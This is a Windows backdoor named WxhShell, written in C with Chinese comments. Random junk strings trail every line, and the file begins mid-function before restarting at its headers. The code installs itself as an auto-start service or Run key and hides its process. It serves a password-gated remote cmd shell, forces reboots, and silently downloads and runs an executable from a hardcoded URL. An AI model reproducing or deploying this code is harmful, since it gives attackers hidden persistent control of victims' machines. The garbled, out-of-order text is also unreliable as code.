    ExitThread(0); R'Ue>k  
    } KAZ<w~55c  
    break; jUE:QOfRib  
    } D`QMlRzXy  
  // 关机 _b8KK4UR  
  case 'd': { 2W0nA t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hbYstK;]Z  
    if(Boot(SHUTDOWN)) Mo@{1K/9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hYyIC:PXR  
    else { K3vZ42n  
    closesocket(wsh); [G brKq(  
    ExitThread(0); / xv5we~  
    } 1 K}gX>F  
    break; Zsapu1HoL\  
    } lrc%GU):  
  // 获取shell k% \;$u=%  
  case 's': { :sw5@JdJ  
    CmdShell(wsh); D?y-Y  
    closesocket(wsh); 8/p ]'BLf  
    ExitThread(0); ->pU!f)\X  
    break; 8L:AmpQdpA  
  } mKtMI!FR  
  // 退出 U;3t{~Ym  
  case 'x': { h];H]15&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A)~ oD_ooQ  
    CloseIt(wsh); ;F1y!h67<  
    break; xpp nBnu$7  
    } +8ib928E  
  // 离开 $G <r2lPy  
  case 'q': { [<i3l'V/[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5 `TMqrk  
    closesocket(wsh); N'{Yhx u  
    WSACleanup(); { (.@bT@  
    exit(1); &(<>} r  
    break; <`-sS]=d}  
        } o.Ww .F  
  } \roJf&O }  
  } M5RN Z%  
UQkd$w<  
  // 提示信息 r1q'+i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =~D[M)UO|  
} A ___| #R  
  } Ma\%uEgTD  
5Kd"W,  
  return; t0cS.hi  
} sh,4n{+  
'r=2f6G>cP  
// shell模块句柄 W8`6O2  
int CmdShell(SOCKET sock) hwk] ;6[  
{ M%54FsV  
STARTUPINFO si; W`LG.`JW  
ZeroMemory(&si,sizeof(si)); [pms>TQ2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s8A"x`5(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^%%Rf  
PROCESS_INFORMATION ProcessInfo; "&XhMw4  
char cmdline[]="cmd"; Gfx !.[Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V*JqC  
  return 0; #5y+gdN  
} 8=bn TJf  
P;(@"gD8z5  
// 自身启动模式 #/I+[|=[O  
int StartFromService(void) f.` 8vaV  
{ q9x@Pc29d  
typedef struct cl#XiyK>  
{ N (\n$bpTt  
  DWORD ExitStatus; 5jK|  
  DWORD PebBaseAddress; (eb65F@P  
  DWORD AffinityMask; z( ^?xv  
  DWORD BasePriority; CUTjRWQ  
  ULONG UniqueProcessId; M'|[:I.V  
  ULONG InheritedFromUniqueProcessId; MZ0cZv$v!~  
}   PROCESS_BASIC_INFORMATION; g#fn(A  
4T52vM  
PROCNTQSIP NtQueryInformationProcess; Jo qhmn$j  
)Dms9:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $#%R _G]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +(`D'5EB(  
<% mD#S  
  HANDLE             hProcess; `"'u mIz  
  PROCESS_BASIC_INFORMATION pbi; B.?F^m@zS  
vp&.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5KbPpKpd  
  if(NULL == hInst ) return 0; i \Yd_  
%q r,Ssa/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5mVO9Q j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YG?4DF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M-;Mw Lx  
[+5g 9tBJ  
  if (!NtQueryInformationProcess) return 0; lO9Ixhf~iu  
G]xYQ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |$\1E+  
  if(!hProcess) return 0; ?$I9/r  
,;MUXCC'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N DI4EA~z  
Q<szH1-  
  CloseHandle(hProcess); ,d!@5d&Zi  
Qhe<(<^J,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IuFr:3(  
if(hProcess==NULL) return 0; TUGD!b{  
82)=#ye_P  
HMODULE hMod; X?ZLmP7|  
char procName[255]; US's`Ehx  
unsigned long cbNeeded; *>2FcoN;  
_lT'nFe =Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V]]!0ugvk(  
tpzh  
  CloseHandle(hProcess); d/+s-g p  
2_bEo  
if(strstr(procName,"services")) return 1; // 以服务启动 67H?xsk@n  
REcKfJTj  
  return 0; // 注册表启动 bFG?mG:  
} 9A{D<h}yk  
n}9<7e~/  
// 主模块 9I5AYa?  
int StartWxhshell(LPSTR lpCmdLine) L|D9+u L  
{ npytb*[|c  
  SOCKET wsl; zSMM?g^T  
BOOL val=TRUE; &&jQ4@m}j  
  int port=0; 'lEIwJV$  
  struct sockaddr_in door; /EHO(d!<  
37IHn6r\  
  if(wscfg.ws_autoins) Install(); $\k)Y(&  
S^i8VYK,C5  
port=atoi(lpCmdLine); K5<2jl3S  
J pj[.Sq  
if(port<=0) port=wscfg.ws_port; B`nI] _  
qxyY2&  
  WSADATA data; 3z#> 1HD$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e&A3=a~\s  
-=lL{oB1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7On.y*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lHliMBSc  
  door.sin_family = AF_INET; Bn.R,B0PL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SY.koW  
  door.sin_port = htons(port); g@t..xJ,  
B4zuWCE@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5KTFf6Uq  
closesocket(wsl); ?|`n&HrP  
return 1; PxWH)4  
} &eO.h%@  
+|<bb8%  
  if(listen(wsl,2) == INVALID_SOCKET) { -)&lsFF  
closesocket(wsl); G&Yo2aADR  
return 1; } nIYNeP?D  
} L*p7|rq$"  
  Wxhshell(wsl); qv2J0'd'.  
  WSACleanup(); Xmb##:  
Jp8,s%  
return 0; I@Y k &aU  
B"88 .U}$  
} iYdg1  
;$]a.9 -  
// 以NT服务方式启动 Hit )mwfYE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gw6Od j  
{ Qi qRx  
DWORD   status = 0; 5>H&0> \  
  DWORD   specificError = 0xfffffff; ::GW  
-IDhK}C&T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B 'O1dRj&6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WU/5i 8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,s}7KE  
  serviceStatus.dwWin32ExitCode     = 0; 1j}e2H  
  serviceStatus.dwServiceSpecificExitCode = 0; 8MU7|9 Q  
  serviceStatus.dwCheckPoint       = 0; BHkicb?   
  serviceStatus.dwWaitHint       = 0; @C('kUX~!  
YXF^4||j.c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D4@(_6^  
  if (hServiceStatusHandle==0) return; Du-Q~I6  
hr&UD|E=  
status = GetLastError(); ,Cy&tRjR B  
  if (status!=NO_ERROR) m<;MOS  
{ ulEtZ#O{_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3+ C;zDKa  
    serviceStatus.dwCheckPoint       = 0; VVuNU"-  
    serviceStatus.dwWaitHint       = 0; f*m^x7  
    serviceStatus.dwWin32ExitCode     = status; QD-Bt=S7l  
    serviceStatus.dwServiceSpecificExitCode = specificError; { q&`B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6aAN8wO;b  
    return; $fPiR  
  } 3EA_-?  
Oz xiT +  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Un+-  T  
  serviceStatus.dwCheckPoint       = 0; w8KxEV=  
  serviceStatus.dwWaitHint       = 0; QY\'Uu{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `$JOFLa  
} D-m%eP.  
ePSD#kY5  
// 处理NT服务事件,比如:启动、停止 |\C.il7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,W]}mqV%.'  
{ Sl \EPKZD  
switch(fdwControl) FELW?Q?k  
{ h-m0Ro?6  
case SERVICE_CONTROL_STOP: h,/3 }  
  serviceStatus.dwWin32ExitCode = 0; Jcp=<z*0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 20A:,pMb  
  serviceStatus.dwCheckPoint   = 0; (f* r  
  serviceStatus.dwWaitHint     = 0; AO7X-,  
  { 7 lq$PsC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J|z' <W  
  } x;4m@)Mu  
  return; %yR 80mn8  
case SERVICE_CONTROL_PAUSE: YR)^F|G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :X1Y  
  break; #TgP:t]p  
case SERVICE_CONTROL_CONTINUE: +\vN#xDz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $ Fy)+<  
  break; Aq$o&t  
case SERVICE_CONTROL_INTERROGATE: [2 Rz8e^  
  break; "/hLZl  
}; u b@'(*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 zjGL7  
} R^K:hKQ  
UyMlk  
// 标准应用程序主函数 X`]>J5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zHW&i~  
{ wA87|YK8*  
K=P LOC5  
// 获取操作系统版本 tK\$LZ  
OsIsNt=GetOsVer(); (+TL ]9P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wl,I%<&j}  
g(F2IpUm/  
  // 从命令行安装 1-G-p:|  
  if(strpbrk(lpCmdLine,"iI")) Install(); "?J f#  
D]V&1n  
  // 下载执行文件 #hEU)G' $+  
if(wscfg.ws_downexe) { En8L1$_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 25;`yB$  
  WinExec(wscfg.ws_filenam,SW_HIDE); X(>aW*q  
} D6P/39}W  
>k 2^A  
if(!OsIsNt) { 7z8   
// 如果时win9x,隐藏进程并且设置为注册表启动 7#g<fh  
HideProc(); O-+!KXHd[  
StartWxhshell(lpCmdLine); pTYV@5|  
} Q0""wR q'  
else Mi[,-8Sk  
  if(StartFromService()) 7. eiM!7g  
  // 以服务方式启动 h{PJ4U{W  
  StartServiceCtrlDispatcher(DispatchTable); [} %=& B  
else  8KzH -  
  // 普通方式启动 ]mi)x6 3^  
  StartWxhshell(lpCmdLine); ^;EwZwH[  
O(T6Y80pU  
return 0; G?+]BIiL  
} mldY/;-H!1  
G;AV~1i:~  
! j0iLYo(*  
\=@4F^U7`  
=========================================== W jBtL52  
D._7)$d  
fydQaxCND  
S|B S;VY  
CyJZip  
.zdmUS :  
" 0MOn>76$N  
CDFkH  
#include <stdio.h> [\"<=lb`  
#include <string.h> Olq`mlsK  
#include <windows.h> ,Q8h#0z r  
#include <winsock2.h> /^ [K  
#include <winsvc.h> l37l| xp~  
#include <urlmon.h> i,$n4  
/oU$TaB>(  
#pragma comment (lib, "Ws2_32.lib") *zDL 5 9  
#pragma comment (lib, "urlmon.lib") JjQTD-^  
K`cy97  
#define MAX_USER   100 // 最大客户端连接数 V8z*mnD  
#define BUF_SOCK   200 // sock buffer {?uswbk.  
#define KEY_BUFF   255 // 输入 buffer ^}hSsE  
x1QL!MB  
#define REBOOT     0   // 重启 Dzw>[   
#define SHUTDOWN   1   // 关机 ?D=%k8)Y  
d%ncI0f`  
#define DEF_PORT   5000 // 监听端口 au7@-_  
/_/Z/D!  
#define REG_LEN     16   // 注册表键长度 Hd~fSXFl  
#define SVC_LEN     80   // NT服务名长度 <V4"+5cJ8  
d|$-l:(J  
// 从dll定义API +PHuQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _dn*H-5hO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); boIFN;Aq"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -k@Uo(MB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ch0x*[N@  
~ZRtNL9   
// wxhshell配置信息 N|s8PIcSp  
struct WSCFG { x@<!#d+  
  int ws_port;         // 监听端口 l65Qk2<YC  
  char ws_passstr[REG_LEN]; // 口令 t? _{  
  int ws_autoins;       // 安装标记, 1=yes 0=no LQa1p  
  char ws_regname[REG_LEN]; // 注册表键名 lJBZ0  
  char ws_svcname[REG_LEN]; // 服务名 iSj.lW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a(+u"Kr z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yI$Mq R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~ePtK~,dv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _v=zFpR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \1#!% I=.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &d[%  
3+:uV  
}; ltXGm)+  
=D?{d{JT  
// default Wxhshell configuration wEbO|S+K1  
struct WSCFG wscfg={DEF_PORT, v|YJ2q?19  
    "xuhuanlingzhe", 7o`pNcabtz  
    1, H?dEgubg7]  
    "Wxhshell", o(Ro/U(Wu  
    "Wxhshell", Sy34doAZ  
            "WxhShell Service", z%WOv ~8~  
    "Wrsky Windows CmdShell Service", `k'Dm:*`u4  
    "Please Input Your Password: ", AG,;1b,:81  
  1, Kl+4A}Uo  
  "http://www.wrsky.com/wxhshell.exe", d Y]i AJ  
  "Wxhshell.exe" b]5S9^=LI  
    }; '5SO3/{b  
4S,/Z{ J.  
// 消息定义模块 D$bJs O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <e'l"3+9(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vTYgWR,h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }{ "RgT-qG  
char *msg_ws_ext="\n\rExit."; \E2S/1p  
char *msg_ws_end="\n\rQuit."; K/XUF#^B]  
char *msg_ws_boot="\n\rReboot..."; 3x~AaC.j  
char *msg_ws_poff="\n\rShutdown..."; 15`,kJSK  
char *msg_ws_down="\n\rSave to "; }zV#?;}  
VufG7%S{  
char *msg_ws_err="\n\rErr!"; .[X"+i\  
char *msg_ws_ok="\n\rOK!"; 3O'X;s2\d  
4 {3< `  
char ExeFile[MAX_PATH]; -*&C "%e  
int nUser = 0; N!=Q]\ZD  
HANDLE handles[MAX_USER]; -;o`(3wZq  
int OsIsNt; b 'yW+  
2/FH9T;e".  
SERVICE_STATUS       serviceStatus; . aqP=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =J&aN1Hgt  
bR? $a+a)  
// 函数声明 "0l7%@z*)q  
int Install(void); uB uwE6  
int Uninstall(void); 9IG3zMf  
int DownloadFile(char *sURL, SOCKET wsh); qy~@cPT  
int Boot(int flag); 9mH+Ol#(  
void HideProc(void); l j*J|%~  
int GetOsVer(void); +\`t@Ht#  
int Wxhshell(SOCKET wsl); 4\EvJg@Z.  
void TalkWithClient(void *cs); I~I$/j]e`  
int CmdShell(SOCKET sock); &>o?0A6  
int StartFromService(void); nXF|AeAco  
int StartWxhshell(LPSTR lpCmdLine); ,4z?9@wQ  
i3\6*$Ug  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /w*;|4~Bf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'P?DZE  
4'-GcH  
// 数据结构和表定义 VNLggeX'U  
SERVICE_TABLE_ENTRY DispatchTable[] = n`)wD~mk  
{ Zr@G  
{wscfg.ws_svcname, NTServiceMain}, 2VNfnk  
{NULL, NULL} #2*2xt  
}; t#[u X?  
-,#LTW<.  
// 自我安装 z;En Ay{9  
int Install(void) l<mEGKB#  
{ k@= LR  
  char svExeFile[MAX_PATH]; P(BV J_n  
  HKEY key; Z<0+<tt  
  strcpy(svExeFile,ExeFile); M.R] hI  
N%&D(_  
// 如果是win9x系统,修改注册表设为自启动 )C CrO   
if(!OsIsNt) { V2?&3Z) W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xd`!z`X!,s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !56gJJ-r  
  RegCloseKey(key); A/"p PO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2i~qihx5^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \V,;F!*#G  
  RegCloseKey(key); )\TI^%s  
  return 0; ku}I; k |  
    } l6Q75i)eF  
  } #GHLF  
} :+>:>$ao  
else { S*1Km&  
NCM&6<_  
// 如果是NT以上系统,安装为系统服务 : Gz#4k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zl !`*{T{  
if (schSCManager!=0) U'acVcD  
{ 1$Pn;jg:  
  SC_HANDLE schService = CreateService 8oj-5|ct  
  ( H-,RzL/  
  schSCManager, ){oVVLs  
  wscfg.ws_svcname, W}5H'D  
  wscfg.ws_svcdisp, _(8HK  
  SERVICE_ALL_ACCESS, \o j#*aL^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (g@e=m7Q  
  SERVICE_AUTO_START, zz4A,XrD  
  SERVICE_ERROR_NORMAL, @pD']=d}t  
  svExeFile, Bu$GCSrX  
  NULL, VoJelyzh  
  NULL, <IBzh_  
  NULL, 9GZKT{*  
  NULL, [af<FQ{  
  NULL emV@kN.  
  ); NX(.Lw}  
  if (schService!=0) '?~k`zK  
  { ?DC3BA\)  
  CloseServiceHandle(schService); N|ut^X+|\  
  CloseServiceHandle(schSCManager); $v6dB {%Qu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,SAS\!hsE  
  strcat(svExeFile,wscfg.ws_svcname); 7^~pOFdH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -vfV;+3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {-]/r  
  RegCloseKey(key); 9R"bo*RIS  
  return 0; <Z c:  
    } IPl>bD~=p  
  } a]465FY  
  CloseServiceHandle(schSCManager); G1"=}Wt`  
} D>O{>;y[  
} uv2!][  
I^{PnrB  
return 1; p5~;8Q7  
} swVq%]')"  
96Tc:#9i  
// 自我卸载 Dc[Qu? ]LM  
int Uninstall(void) mdOF0b%-]  
{ 'H`_Z e<  
  HKEY key; 9zkR)C  
eD, 7gC-  
if(!OsIsNt) { BV&}(9z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LTY@}o]\U  
  RegDeleteValue(key,wscfg.ws_regname); 1px:(8]{  
  RegCloseKey(key); |400N +MK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `oh'rm3'8  
  RegDeleteValue(key,wscfg.ws_regname); 1Ly?XNS  
  RegCloseKey(key); )G6]r$M>o0  
  return 0; NDRk%_Eu(  
  } O329Bkg  
} 4.3Bz1p&#  
} 'sm+3d  
else { VPf*>ph=  
(o\:rLZu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @Ns^?#u~   
if (schSCManager!=0) m4n J9<-  
{ xnu|?;.}!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +MQf2|--  
  if (schService!=0) cmu5KeH  
  { Fa9]!bW  
  if(DeleteService(schService)!=0) { UJ)\E ^Hp  
  CloseServiceHandle(schService); t9PS5O ;  
  CloseServiceHandle(schSCManager); %+G/oF |  
  return 0; hSD)|  
  }  { Lt \4h  
  CloseServiceHandle(schService); fj 19U9R  
  } r&\}E+  
  CloseServiceHandle(schSCManager); +gOCl*L  
} KTk%N p  
} =? xA*_^  
B{|P}fN5}  
return 1; =?57*=]0M  
} _-Aw`<_*-  
fZXJPy;n  
// 从指定url下载文件 5-w6(uu  
int DownloadFile(char *sURL, SOCKET wsh) 5Lt&P 5BY  
{ 9r7QE&.  
  HRESULT hr; D|Z,eench  
char seps[]= "/"; vdNh25a<h  
char *token; HF5aU:M  
char *file; RH. oo&  
char myURL[MAX_PATH]; 7BF't!-2F  
char myFILE[MAX_PATH]; ^$_a_ft#  
e9q/[xMi  
strcpy(myURL,sURL); iYv6B6o/99  
  token=strtok(myURL,seps); P7 E}^y`e  
  while(token!=NULL) [(`T*c.#.X  
  { ag?@5q3J}  
    file=token; L"tj DAV  
  token=strtok(NULL,seps); ^?toTU   
  } _q=$L eO5  
c?eV8h1G  
GetCurrentDirectory(MAX_PATH,myFILE); \GbT^!dj  
strcat(myFILE, "\\"); s+^o[R T3  
strcat(myFILE, file); >lyUr*4PX  
  send(wsh,myFILE,strlen(myFILE),0); mb?DnP,z  
send(wsh,"...",3,0); i2$U##-ro]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d Z"bc]z{  
  if(hr==S_OK) )u ]<8  
return 0; Tc\^=e^N?  
else S_6`.@B}  
return 1; 7esG$sVj(  
$K,rVTU  
} 2X)E3V/*  
Z[AJat@H  
// 系统电源模块 E] t:_v  
int Boot(int flag) J(M0t~RZ  
{ ez86+  
  HANDLE hToken; f8N  
  TOKEN_PRIVILEGES tkp; xvjHGgWSxc  
QhZ!A?':U  
  if(OsIsNt) { /43DR;4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "a`0s_F,^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JO7IzD\  
    tkp.PrivilegeCount = 1; BaiC;&(   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YT, 1E>rd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >H5BY9]I  
if(flag==REBOOT) { v>)[NAY9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +tkd($//  
  return 0; ',6QL4qV/  
} M5exo   
else { 2v`VtV|B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VuJth  
  return 0;  mbd  
} Ps<)?q6(  
  } {)ZbOq2  
  else { Zu\#;O   
if(flag==REBOOT) { x7Ly,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zmf5!77  
  return 0; A>OL5TCl  
} xJ>hN@5}i  
else { WqY:XE+?\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;csAhkf:S  
  return 0; xYM/{[  
} dm.?-u;C  
} >|@ /GpD  
_\sm$ `q  
return 1; #B`"B  
} Cl<` uW3  
q'+XTal  
// win9x进程隐藏模块  vxr3|2`  
void HideProc(void) :XBeGNI*#  
{ l%fnGe` _  
8,dCx}X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0NpxqeIDY  
  if ( hKernel != NULL ) )/bt/,M&}  
  { S][: b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); : [aUpX=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pVt-7 AgW  
    FreeLibrary(hKernel); I g-VSQ  
  } Ao`9fI#q  
;n7k_K#0z!  
return; F2oY_mA  
} &E {/s  
6$)Yqg`X  
// 获取操作系统版本 L V33vy  
int GetOsVer(void) ;c:vz F~Q  
{ 0[PP Vr:  
  OSVERSIONINFO winfo; JYm@Llf)$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XuR!9x^5  
  GetVersionEx(&winfo); jc Ie<i;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xC<OFpI\  
  return 1; NO`a2HR$  
  else )dC%g=dtc  
  return 0; G0> 'H1Z  
} b4ORDU  
go2:D#mf  
// 客户端句柄模块 0 "pm7  
int Wxhshell(SOCKET wsl) b0LQ$XM>8  
{ 0\o0(eHCQz  
  SOCKET wsh; N[aK#o,  
  struct sockaddr_in client; {x2N~1!E  
  DWORD myID; [_-CO }>  
vj?9X5A_  
  while(nUser<MAX_USER) y7d)[d*Mz  
{ 4y 582u6^  
  int nSize=sizeof(client); dHf_&X2A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rS(693kb  
  if(wsh==INVALID_SOCKET) return 1; 8EbYk2j  
_~Lhc'^p*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s}`=pk/FM  
if(handles[nUser]==0) V%e'H>EC  
  closesocket(wsh); YaSwn3i/@S  
else 4vBZb^W;9  
  nUser++; Z9=Cw0( w?  
  } Lk#u^|Eq7=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xb$)}n\9  
~+3f8%   
  return 0; 6<]&T lS]  
}  <MvFAuAT  
1vl~[  
// 关闭 socket qYsu3y)*N  
void CloseIt(SOCKET wsh) Y/gVyQ(  
{ 1mI)xDi9  
closesocket(wsh); w4(DR?[nC  
nUser--; w`>xK sKW>  
ExitThread(0); ,@Ed)Zoh  
} )_xM)mH  
qZ_^#%zO  
// 客户端请求句柄 0lmoI4bW}s  
void TalkWithClient(void *cs) YfxZ<  
{ UvQxtT]  
A "_;.e`  
  SOCKET wsh=(SOCKET)cs; ;M"hX  
  char pwd[SVC_LEN]; ;EF s2-{K  
  char cmd[KEY_BUFF]; TrkoLJmB  
char chr[1]; ?>RJ8\Sj  
int i,j; aWe H,A%  
=B<g_9d4  
  while (nUser < MAX_USER) { /wCP(1Mw  
nfrC@Av  
if(wscfg.ws_passstr) { C@]Z&H;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1|z>} xP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ut-UTW  
  //ZeroMemory(pwd,KEY_BUFF); J"6_H =s   
      i=0; =x/]2+ s  
  while(i<SVC_LEN) { [2)Y0; ["  
a&XURyp  
  // 设置超时 !i)?j@D  
  fd_set FdRead; %0:  (''  
  struct timeval TimeOut; 4~G9._  
  FD_ZERO(&FdRead); Z"e|DP`  
  FD_SET(wsh,&FdRead); tV# x{DN  
  TimeOut.tv_sec=8; I!# 42~\  
  TimeOut.tv_usec=0; Gt6$@ji4u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V-7!)&q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P}?,*'b  
,6a'x~y<r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <bGSr23*  
  pwd=chr[0]; zpg*hlv  
  if(chr[0]==0xd || chr[0]==0xa) { 9-bDgzk   
  pwd=0; #<v3G)|aS  
  break; RMLs(?e  
  } DJrA@hm/Y  
  i++; s'} oVx]  
    } gtCd#t'(V  
q7m-} mBN~  
  // 如果是非法用户,关闭 socket !n)2HDYhx,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "'6KQnpZ  
} O$#`he/jm  
ajkRL|^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <k<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v C><N  
lv$tp,+  
while(1) { gfih;i.pY  
s\>$ K%!H?  
  ZeroMemory(cmd,KEY_BUFF); ]<z>YyBA  
h\D y(\  
      // 自动支持客户端 telnet标准   5OKbW!  
  j=0; q'c'rN^  
  while(j<KEY_BUFF) { Nz5gu.a6{L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IU Dp5MIuR  
  cmd[j]=chr[0]; XL} oYL]}&  
  if(chr[0]==0xa || chr[0]==0xd) { =GnDiI  
  cmd[j]=0; q1NAKcA<U  
  break; RUO,tB|(_;  
  } "MK:y[+*  
  j++; LRB#|PW  
    } (kb^=kw#0  
`;QpPSw+  
  // 下载文件 |3"'>* J  
  if(strstr(cmd,"http://")) { O v?k4kJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mQJRq??P  
